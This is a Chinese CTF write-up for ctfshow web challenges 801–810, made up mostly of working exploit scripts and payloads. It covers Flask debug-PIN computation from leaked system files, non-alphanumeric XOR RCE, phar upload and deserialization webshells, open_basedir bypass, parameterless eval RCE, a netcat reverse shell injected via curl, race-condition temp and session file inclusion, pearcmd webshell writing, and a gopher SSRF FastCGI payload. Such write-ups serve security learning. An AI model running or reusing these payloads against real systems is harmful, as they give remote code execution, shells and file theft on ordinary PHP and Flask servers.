ctfshow web入门 常见姿势 Web801-Web810
Web801(flask算PIN)
非预期解
/file?filename=/flag
预期解 计算pin码
/file?filename=/etc/passwd
发现能查看 说明是root
先查MAC地址
/file?filename=/sys/class/net/eth0/address
02:42:ac:0c:b1:e2
再查machine-id
/file?filename=/proc/sys/kernel/random/boot_id

/file?filename=/proc/self/cgroup

225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d
import hashlib
import getpass
from flask import Flask
from itertools import chain
import sys
import uuid
import typing as t
username='root'
app = Flask(__name__)
modname=getattr(app, "__module__", t.cast(object, app).__class__.__module__)
mod=sys.modules.get(modname)
mod = getattr(mod, "__file__", None)
probably_public_bits = [
username, #用户名
modname, #一般固定为flask.app
getattr(app, "__name__", app.__class__.__name__), #固定,一般为Flask
'/usr/local/lib/python3.8/site-packages/flask/app.py', #主程序(app.py)运行的绝对路径
]
print(probably_public_bits)
mac ='02:42:ac:0c:b1:e2'.replace(':','')
mac=str(int(mac,base=16))
private_bits = [
mac,#mac地址十进制
"225374fa-04bc-4346-9f39-48fa82829ca9849ded351bf3457d3ba183f88102b90cabc7985317b3721f646e0e913a24fe8d"
]
print(private_bits)
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv=None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)


python3.8要用sha1 python3.6要用MD5
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'25214234362297',# str(uuid.getnode()), /sys/class/net/ens33/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
web802(无字母数字命令执行)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(!preg_match('/[a-z]|[0-9]/i',$cmd)){
eval($cmd);
}
<?php
$myfile = fopen("C:\\Users\\26387\\Desktop\\rce.txt", "w");
$contents="";
for ($i=1; $i < 256; $i++) {
for ($j=1; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);?>
from sys import *
def action(arg):
s1=""
s2=""
for i in arg:
f=open("C:\\Users\\26387\\Desktop\\rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
fun="system"
cmd="cat flag.php"
print("function:"+action(fun))
print("cmd:"+action(cmd))



Web803(phar文件包含)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file.'.txt')){
include $file.'.txt';
}else{
file_put_contents($file,$content);
}
}
题目web目录下没有写权限,需要写到其他地方比如/tmp下
首先生成phar文件
<?php
$phar=new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt","<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>

接着上传文件
import requests
url="http://6eda48f3-8082-442d-8823-c1cc2d7a2cdf.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar/a','content':'123','1':'system("cat f*");'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
Web804(phar反序列化)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$file = $_POST['file'];
$content = $_POST['content'];
if(isset($content) && !preg_match('/php|data|ftp/i',$file)){
if(file_exists($file)){
unlink($file);
}else{
file_put_contents($file,$content);
}
}
生成phar文件
<?php
class hacker{
public $code;
public function __destruct(){
eval($this->code);
}
}
$a=new hacker();
$a->code="system('cat f*');";
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setMetadata($a);
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->addFromString("a.txt", "<?php eval(\$_POST[1]);?>");
$phar->stopBuffering();
?>
unlink触发反序列化
import requests
url="http://438d535d-6030-47bf-964d-f1054ab03155.challenge.ctf.show/"
data1={'file':'/tmp/a.phar','content':open('C:\\Users\\26387\\Desktop\\shell.phar','rb').read()}
data2={'file':'phar:///tmp/a.phar','content':'123'}
requests.post(url,data=data1)
r=requests.post(url,data=data2)
print(r.text)
Web805(open_basedir绕过)
<?php
error_reporting(0);
highlight_file(__FILE__);
eval($_POST[1]);
(小声bb,看到写了木马直接蚁剑连接,结果发现直接连上并绕过了,可以直接读取根目录的flag,qaq这是为什莫??)

OK,在正式做这题之前,我们先了解一下open_basedir
open_basedir是php.ini中的一个配置选项,可用于将用户访问文件的活动范围限制在指定的区域。
设置open_basedir=/var/www/html/,通过web访问服务器的用户就无法获取服务器上除了/var/www/html/这个目录以外的文件。
假设这时连接一个webshell,当webshell工具尝试遍历和读取其他目录时将会失败。
Bypass
方式1:利用 DirectoryIterator+glob://
DirectoryIterator 类提供了一个简单的界面来查看文件系统目录的内容。
DirectoryIterator是php5中增加的一个类,为用户提供一个简单的查看目录的接口。
DirectoryIterator与glob://结合将无视open_basedir,列举出根目录下的文件
<?php
$c = "glob:///*";
$a = new DirectoryIterator($c);
foreach($a as $f){
echo($f->__toString().'<br>');
}
?>

方式2:利用 opendir()+readdir()+glob://
opendir作用为打开目录句柄
readdir作用为从目录句柄中读取目录
<?php
$a = $_GET['c'];
if ( $b = opendir($a) ) {
while ( ($file = readdir($b)) !== false ) {
echo $file."<br>";
}
closedir($b);
}
?>


只能Bypass open_basedir来列举根目录的文件,不能列举出其他非根目录和open_basedir指定的目录中的文件。
p神脚本
<?php
/*
* by phithon
* From https://www.leavesongs.com
* detail: http://cxsecurity.com/issue/WLB-2009110068
*/
header('content-type: text/plain');
error_reporting(-1);
ini_set('display_errors', TRUE);
printf("open_basedir: %s\nphp_version: %s\n", ini_get('open_basedir'), phpversion());
printf("disable_functions: %s\n", ini_get('disable_functions'));
$file = str_replace('\\', '/', isset($_REQUEST['file']) ? $_REQUEST['file'] : '/etc/passwd');
$relat_file = getRelativePath(__FILE__, $file);
$paths = explode('/', $file);
$name = mt_rand() % 999;
$exp = getRandStr();
mkdir($name);
chdir($name);
for($i = 1 ; $i < count($paths) - 1 ; $i++){
mkdir($paths[$i]);
chdir($paths[$i]);
}
mkdir($paths[$i]);
for ($i -= 1; $i > 0; $i--) {
chdir('..');
}
$paths = explode('/', $relat_file);
$j = 0;
for ($i = 0; $paths[$i] == '..'; $i++) {
mkdir($name);
chdir($name);
$j++;
}
for ($i = 0; $i <= $j; $i++) {
chdir('..');
}
$tmp = array_fill(0, $j + 1, $name);
symlink(implode('/', $tmp), 'tmplink');
$tmp = array_fill(0, $j, '..');
symlink('tmplink/' . implode('/', $tmp) . $file, $exp);
unlink('tmplink');
mkdir('tmplink');
delfile($name);
$exp = dirname($_SERVER['SCRIPT_NAME']) . "/{$exp}";
$exp = "http://{$_SERVER['SERVER_NAME']}{$exp}";
echo "\n-----------------content---------------\n\n";
echo file_get_contents($exp);
delfile('tmplink');
function getRelativePath($from, $to) {
// some compatibility fixes for Windows paths
$from = rtrim($from, '\/') . '/';
$from = str_replace('\\', '/', $from);
$to = str_replace('\\', '/', $to);
$from = explode('/', $from);
$to = explode('/', $to);
$relPath = $to;
foreach($from as $depth => $dir) {
// find first non-matching dir
if($dir === $to[$depth]) {
// ignore this directory
array_shift($relPath);
} else {
// get number of remaining dirs to $from
$remaining = count($from) - $depth;
if($remaining > 1) {
// add traversals up to first matching dir
$padLength = (count($relPath) + $remaining - 1) * -1;
$relPath = array_pad($relPath, $padLength, '..');
break;
} else {
$relPath[0] = './' . $relPath[0];
}
}
}
return implode('/', $relPath);
}
function delfile($deldir){
if (@is_file($deldir)) {
@chmod($deldir,0777);
return @unlink($deldir);
}else if(@is_dir($deldir)){
if(($mydir = @opendir($deldir)) == NULL) return false;
while(false !== ($file = @readdir($mydir)))
{
$name = File_Str($deldir.'/'.$file);
if(($file!='.') && ($file!='..')){delfile($name);}
}
@closedir($mydir);
@chmod($deldir,0777);
return @rmdir($deldir) ? true : false;
}
}
function File_Str($string)
{
return str_replace('//','/',str_replace('\\','/',$string));
}
function getRandStr($length = 6) {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$randStr = '';
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
}
return $randStr;
}
或者利用chdir()与ini_set()组合

Web806(php无参RCE)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
[无参RCE攻防技巧-CSDN博客](https://blog.csdn.net/qq_45570082/article/details/106602261)
利用session_id
/?code=eval(hex2bin(session_id(session_start())));


但是发现session已存活

无法改变Session_id,此方法失败。
利用get_defined_vars ()函数
get_defined_vars():返回由所有已定义变量所组成的数组
而get_defined_vars()返回的又是一个数组,我们能够通过php的一系列数组函数读取到该数组中任意我们想要的值
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
我们先current定位第一个get
/?code=var_dump(current(get_defined_vars()));&b=1

对于next() end()等函数我们可以举例子利用看看


这里我们就用end()了
/?code=var_dump(end(current(get_defined_vars())));&b=1
发现可以显示"1",那我们只需要前面套个eval进行命令执行
/?code=eval(end(current(get_defined_vars())));&b=system("cat /c*");

或者
/?code=eval(end(current(get_defined_vars())));&b=system($_POST[a]);
post:
a=ls /

利用getallheaders()
getallheaders返回当前请求的所有请求头信息


我这里注入点用的是UA头
/?code=eval(next(array_reverse(getallheaders())));
UA: system("cat /c*");
利用scandir()函数
获取当前目录文件
var_dump(scandir(getcwd()));
var_dump(scandir(current(localeconv()));
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))); //利用三角函数和floor ceil,这个是php7下能够成功
获取上级目录文件
var_dump(scandir(dirname(getcwd())));
var_dump(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))));//这种方法理论上来说,每隔47秒才能成功执行一次
var_dump(scandir(chr(ceil(sqrt(cosh(tan(tan(tan(cosh(sinh(exp(chdir(next(scandir(pos(localeconv()))))))))))))))));
/?code=var_dump(scandir(dirname(dirname(dirname(getcwd())))));

show_source(array_rand(array_flip(scandir(getcwd()))));//当前目录
show_source(array_rand(array_flip(scandir(dirname(dirname(dirname(getcwd())))))));//根目录
经过测试 发现能读取当前目录的文件内容,但是读不到根目录的内容(可能是我太菜了呜呜呜,有知道的师傅可以私信T我一下)
Web807(反弹shell)
<?php
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 12:10:55
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 13:27:18
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
error_reporting(0);
highlight_file(__FILE__);
$url = $_GET['url'];
$schema = substr($url,0,8);
if($schema==="https://"){
shell_exec("curl $url");
}
简单的反弹shell
直接上payload
/?url=https://;nc xxx.xxx.xxx.xxx:7777 -e /bin/sh

Web808(卡临时文件包含)
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log/i",$file)){
include $file;
}else{
show_source(__FILE__);
print_r(scandir("/tmp"));
}
代码中提示了我们/tmp,我们上传的时候,会默认先保存在/tmp目录下。既然这样,我们先构造一个文件上传得表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://2e68bb6b-f831-4af1-8c06-a9c535f89d67.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
抓包上传一句话木马

这时候去看我们原题发现是没有保存在/tmp目录下的,我们必须再去上传,报错一下
/?file=php://filter/string.strip_tags/resource=/etc/passwd

再去看原题

就存在了,我们这时候只需要包含一下这个文件就行
/?file=/tmp/xxx
然后进行命令执行即可
顺便贴一下yu师傅的脚本(yu师傅太厉害了,吹爆)
#author:yu22x
import requests
import re
url = "http://e604acc2-f6a6-4cdd-b4c3-59fd0e7a27d2.challenge.ctf.show/"
file={
'file':'<?php system("cat /*");?>'
}
requests.post(url+'?file=php://filter/string.strip_tags/resource=/etc/passwd',files=file)
r=requests.get(url)
#print(r.text)
tmp=re.findall('=> (php.*?)\\n',r.text,re.S)[-1]
r=requests.get(url+'?file=/tmp/'+tmp)
print(r.text)
也可以用session文件上传也可以
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/"
url2='http://97ccc0d8-b608-44a0-970b-895263a76d15.challenge.ctf.show/?file=/tmp/sess_yu22x'
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
}
data2={
'1':'echo 11123;system("cat /*");',
}
file={
'file':'1'
}
cookies={
'PHPSESSID': sess
}
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if '11123' in r.text:
print(r.text)
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write).start()
for i in range(1,30):
threading.Thread(target=read).start()
event.set()
Web809(pear文件包含/RCE)
<?php
error_reporting(0);
$file = $_GET['file'];
if(isset($file) && !preg_match("/input|data|phar|log|filter/i",$file)){
include $file;
}else{
show_source(__FILE__);
if(isset($_GET['info'])){
phpinfo();
}
}
0x00
在正式做题前,我们可以先看一个Docker PHP裸文件本地包含
//1.php
<?php
include $_REQUEST['file'];
docker run -d --name web -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache

在实战中,特别是黑盒的情况下,功能点也少,找不到可以被包含的文件。通常我们会去尝试包含
一些系统日志、web日志等系统文件。
但是,在CTF中我们一般是在docker环境下
- 容器只会运行Apache,所以没有第三方软件日志
- Web日志被重定向到了/dev/stdout、/dev/stderr

此时包含这些Web日志就会出现错误

所以,利用日志包含来getshell的方法就无法进行了
0x01 phpinfo与条件竞争
第二种,就是phpinfo与条件竞争
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务器后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
我们可以包含这个临时文件,最后完成getshell操作。但这里面暗藏了一个大坑就是,临时文件的文件名我们是不知道的。
所以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名。
但第二个难点就是,即使我们能够在目标网站上找到一个phpinfo页面并读取临时文件名,这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被清掉,并不能在后面的文件包含请求中使用。
所以此时需要利用到条件竞争,我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。
这是一个很理想的状态,现实情况下我们需要借助下面这些方法来提高成功率:
- 使用大量线程来进行上述操作,来让包含操作尽可能早于临时文件被删除
- 如果目标环境开启了
output_buffering这个配置,那么phpinfo的页面将会以流式,即chunked编码的方式返回。这样,我们可以不必等到phpinfo完全显示完成时就能够读取到临时文件名,这样成功率会更高 - 我们可以在请求头、query string里插入大量垃圾字符来使phpinfo页面更大,返回的时间更久,这样临时文件保存的时间更长。但这个方法在不开启
output_buffering时是没有影响的。
我们可以测试一下(我的测试环境是win,但效果是一样的我们可以获取到tmp_name)

0x02 pearcmd
如果开启了register_argc_argv这个配置,我们在php中传入的query-string会被赋值给$_SERVER['argv']。而pear可以通过readPHPArgv()函数获得我们传入的$_SERVER['argv'],需要注意的是这个数字中的值是通过传进来内容中的+来进行分割的
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}
在Docker环境中,pcel和pear都会默认安装

使用刚刚我们的demo
/1.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?phpinfo()?>+/tmp/hello.php
//这里使用bp发包


0x03
回到题目,直接给我们了phpinfo()

可以看到是开起了register_argc_argv
我们直接用payload打打看
/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST['cmd']);?>+/tmp/1.txt
/?file=/tmp/1.txt
cmd=system("cat /f*");


参考链接
Web810(SSRF打PHP-F(FastCGI)PM)
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_GET['url'];
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,0);
$res=curl_exec($ch);
curl_close($ch);
python2 gopherus.py --exploit fastcgi

补充一点:
"我们为什么要输入一个index.php"
FastCGI 协议在处理请求时,需要知道要 “执行” 哪个 PHP 脚本文件。为了让构造的 FastCGI 请求能被服务器正常识别、处理,得指定一个服务器上实际存在的 PHP 文件路径 。因为只有存在的文件,服务器才会去调度 PHP - FPM 等组件解析执行,这样后续通过 FastCGI 注入恶意指令(比如执行系统命令 `cat /flagfile` )的操作,才有可能在对应上下文里生效。
要是不清楚目标具体有哪些 PHP 文件,按提示直接回车用工具默认的文件(一般也是常见的如 index.php 这类)就行,目的就是让 FastCGI 请求能关联到真实存在的脚本,让攻击流程能往下走,最终借助这个 “合法” 脚本的执行上下文,去执行我们注入的恶意命令(如读取 flag 文件 )。
再对_后的进行url编码

?url=gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH65%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500A%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/flagfile%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500

浙公网安备 33010602011771号